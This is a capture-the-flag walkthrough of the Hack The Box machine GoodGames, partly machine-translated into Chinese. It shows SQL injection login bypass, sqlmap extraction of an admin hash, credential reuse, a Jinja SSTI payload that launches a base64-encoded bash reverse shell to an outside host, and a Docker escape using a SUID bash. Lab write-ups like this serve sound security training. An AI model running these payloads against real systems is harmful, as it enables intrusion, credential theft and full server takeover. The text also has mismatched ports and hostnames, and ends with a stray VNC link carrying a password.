Skip to content

HTB Goodgame

24th January 2022 / Document No. D22.100.154 Prepared By: TheCyberGeek Machine Author(s): TheCyberGeek Difficulty: Easy Classification: Confidential

Synopsis


GoodGames 是一款 Easy linux 机器,它展示了清理 Web 应用程序中的用户输入以防止 SQL 注入攻击的重要性,在数据库结构中使用强大的哈希算法来防止从受损数据库中提取和破解密码,以及密码重新攻击的危险 -利用。 它还强调了在反映用户输入的 Python Web 应用程序中使用 render_template_string 的危险,从而允许服务器端模板注入 (SSTI) 攻击。 权限提升涉及 docker hosts 枚举,并展示了在容器中拥有管理员权限和在主机上拥有低权限用户是多么危险,从而允许攻击者提升权限以危及系统。

Skill Required

  • Web Enumeration
  • Basic Web Exploitation Skills
  • Basic Hash Cracking Skills
  • Understanding(理解) 了解 of Detection(检测) & Exploitation of SSTI
  • Understanding of Basic Docker Security Concepts(概念)

Skills Learned

  • Exploiting Union-Based SQL Injections
  • Hash Cracking Weak Algorithms(弱算法)
  • Password Reuse
  • Exploiting SSTI
  • Basics of Docker Breakouts(突破)

Enumeration


Ports Scan

$ sudo masscan -p1-65535 -e tun0 --rate=1000 $target >my_data/goodgame_ports

Discovered open port 80/tcp on 10.129.96.71

$ nmap -sC -sV $target

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.48
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service Info: Host: goodgames.htb

Nmap scan shows that only port 80 hosting a Python 3.9.2 application is listening

goodgames.htb - Python Webserver

Browsing to port 80 we see a gaming based website. ![[Pasted image 20221027105008.png]]

$ echo '10.129.96.71 goodgame.htb' | sudo tee -a /etc/hosts
$ curl goodgame.htb -I
HTTP/1.1 200 OK
Date: Thu, 27 Oct 2022 02:03:59 GMT
Server: Werkzeug/2.0.2 Python/3.9.2
Content-Type: text/html; charset=utf-8
Content-Length: 85107

Python WebServer

检查登录功能,我们尝试简单的 SQL 注入作为基本检查的一部分,包括 admin' 或 1 = 1 -- - 并看到我们需要输入有效的电子邮件地址。 ![[Pasted image 20221028202725.png]] 在 BurpSuite 中捕获有效的电子邮件登录请求并手动将电子邮件更改为admin' and 1 = 1 -- - 有效负载然后点击登录,我们会看到欢迎管理员的响应。 ![[Pasted image 20221028202836.png]]

SQL Injection

在检测到用于绕过身份验证的有效 SQL 注入后,我们将电子邮件改回 admin@goodgames.htb 并将请求保存到名为 goodgames.req 的文件中。使用 SQLMap 枚举数据库。

$ sqlmap -r goodgames.req
[13:33:48] [INFO] testing 'Generic UNION query (55) - 1 to 10 columns'
[13:33:49] [WARNING] POST parameter 'password' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 208 HTTP(s) requests:
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=admin@goodgames.htb' AND (SELECT 8700 FROM (SELECT(SLEEP(5)))HRXj) AND 'pnzX'='pnzX&password=123456

sqlmap -r goodgames.htb --dbs
available databases [2]:
[*] information_schema
[*] main

$ sqlmap -r my_data/goodgames.req -D main --tables  --batch
Database: main
[3 tables]
+---------------+
| user          |
| blog          |
| blog_comments |
+---------------+

$ sqlmap -r my_data/goodgames.req -D main -T user --dump  --batch
Database: main
Table: user
[1 entry]
+----+-------+---------------------+----------------------------------+
| id | name  | email               | password                         |
+----+-------+---------------------+----------------------------------+
| 1  | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+-------+---------------------+----------------------------------+

公开的是管理员的密码哈希。使用 md5解密网站 我们可以破解哈希 superadministrator

在以管理员身份进行身份验证后,使用 BurpSuite 中继器选项卡中的 cookie,我们查看管理员帐户,并在页面右上角看到一个 cog。单击 cog 会将我们重定向到一个名为 internal-administration.goodgames.htb 的新子域。让我们将此子域添加到我们的 /etc/hosts 文件中以允许访问该站点。

$ sudo sed -i 's/goodgames.htb/goodgames.htb internaladministration.goodgames.htb/g' /etc/hosts

当访问新的子域时,我们会看到一个 Flask Dashboard 登录页面。 ![[Pasted image 20221028210327.png]] 管理员也可能为此应用程序重新使用了他们的凭据。输入用户名 admin 和密码 superadministrator 成功验证了我们对应用程序的身份。 ![[Pasted image 20221028210337.png]]

SSTI

导航到设置页面,我们注意到我们可以编辑我们的用户详细信息。由于这是一个 Python Flask 应用程序,这将是测试服务器端模板注入表单的好时机。将用户名更改为 {{7*7}} 后,我们看到我们的用户名已更改为 49,并且我们的 SSTI 有效负载已执行。 ![[Pasted image 20221028210415.png]]

在这个阶段,我们知道该站点易受 SSTI 攻击,因此我们可以注入有效负载并获取 shell。首先,我们对我们的有效负载进行 base64 编码,然后在本地启动一个侦听器。

$ echo -ne 'bash -i >& /dev/tcp/10.10.14.42/9999 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Mi85OTk5IDA+JjE=

$ nc -lvvp 4444

然后我们构建一个基本的 SSTI 有效载荷,通过名称字段在现场交付。

{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Mi85OTk5IDA+JjE=${IFS}|base64${IFS}-d|bash').read()}}

现在我们可以进入用户目录并访问标志。

Privilege Escalation via Docker Escape


在系统上获得一个 shell 后,我们很快注意到我们在一个 Docker 容器中。

root@3a453ab39d3d:/home/augustus# ls -la
ls -la
total 24
drwxr-xr-x 2 1000 1000 4096 Nov  3  2021 .
drwxr-xr-x 1 root root 4096 Nov  5  2021 ..
lrwxrwxrwx 1 root root    9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000  220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19  2021 .bashrc
-rw-r--r-- 1 1000 1000  807 Oct 19  2021 .profile
-rw-r----- 1 1000 1000   33 Oct 31 07:01 user.txt

用户 augustus 主目录的目录列表显示,UID 1000显示为可用文件和文件夹的所有者,而不是其名称。这提示用户的主目录已从主系统装入docker容器中。通过检查装载,我们可以看到主机上的用户目录确实在启用读/写标志的情况下装载。

root@3a453ab39d3d:/home/augustus# mount
mount
<SNIP>
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
<SNIP>

可用网络适配器的枚举显示容器 IP 为 172.19.0.2 。 Docker 通常在默认配置中将子网的第一个地址分配给主机系统,因此 172.19.0.2 可能是主机的内部 Docker IP 地址。

root@3a453ab39d3d:/home/augustus# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.19.0.2  netmask 255.255.0.0  broadcast 172.19.255.255
        ether 02:42:ac:13:00:02  txqueuelen 0  (Ethernet)
        RX packets 2023  bytes 324031 (316.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1677  bytes 2188621 (2.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

让我们扫描 172.19.0.1 的主机,看看哪些端口可用,作为横向移动基本检查的一部分。由于未安装 nmap,我们可以改用 Bash。

root@3a453ab39d3d:/backend# for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done                                                                    
<ull" 2>/dev/null && echo "port $PORT is open"; done
port 22 is open
port 80 is open

我们发现 SSH 正在内部侦听。我们尝试在 root 和 augustus 帐户上重复使用密码。

root@3a453ab39d3d:/backend# script /dev/null bash
script /dev/null bash
Script started, file is /dev/null

# ssh augustus@172.19.0.1


这是成功的,我们以 augustus 的身份登录。

知道用户目录安装在Docker容器中后,我们可以在Host中写入文件,并从容器中将其权限更改为root。这些新权限也将反映到主机系统。

将bash作为augustus复制到用户目录,我们已经在主机上进行了身份验证,然后退出SSH会话。在Docker容器中将bash可执行文件的所有权更改为root:root(由root和root组拥有),并对其应用SUID权限。

# As augustus on host machine
augustus@GoodGames:~$ cp /bin/bash .
cp /bin/bash .
augustus@GoodGames:~$ exit
exit
logout
Connection to 172.19.0.1 closed.

# As root in the docker container
$ cd /home/augustus
cd /home/augustus
$ chown root:root bash
chown root:root bash
$ chmod 4755 bash
chmod 4755 bash

SSH返回到主机上的augustus用户,并检查bash可执行文件的权限。

augustus@GoodGames:~$ ls -la bash
ls -la bash
-rwsr-xr-x 1 root root 1168776 Oct 31 08:12 bash

权限反映在主机系统上,重复的Bash现在具有SUID权限。执行./bash-p并生成一个有效UID为root的shell。

augustus@GoodGames:~$ ./bash -p
./bash -p
bash-5.0# id
id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)
bash-5.0# cd /root/
cd /root/
bash-5.0# ls
ls
root.txt

https://vnc.htb-cloud.com/index.html?host=proxy-sg.htb-cloud.com%2Fbird%2Fhtb-pxeqhrccqw.htb-cloud.com&password=OyYJSE6l&view_only=true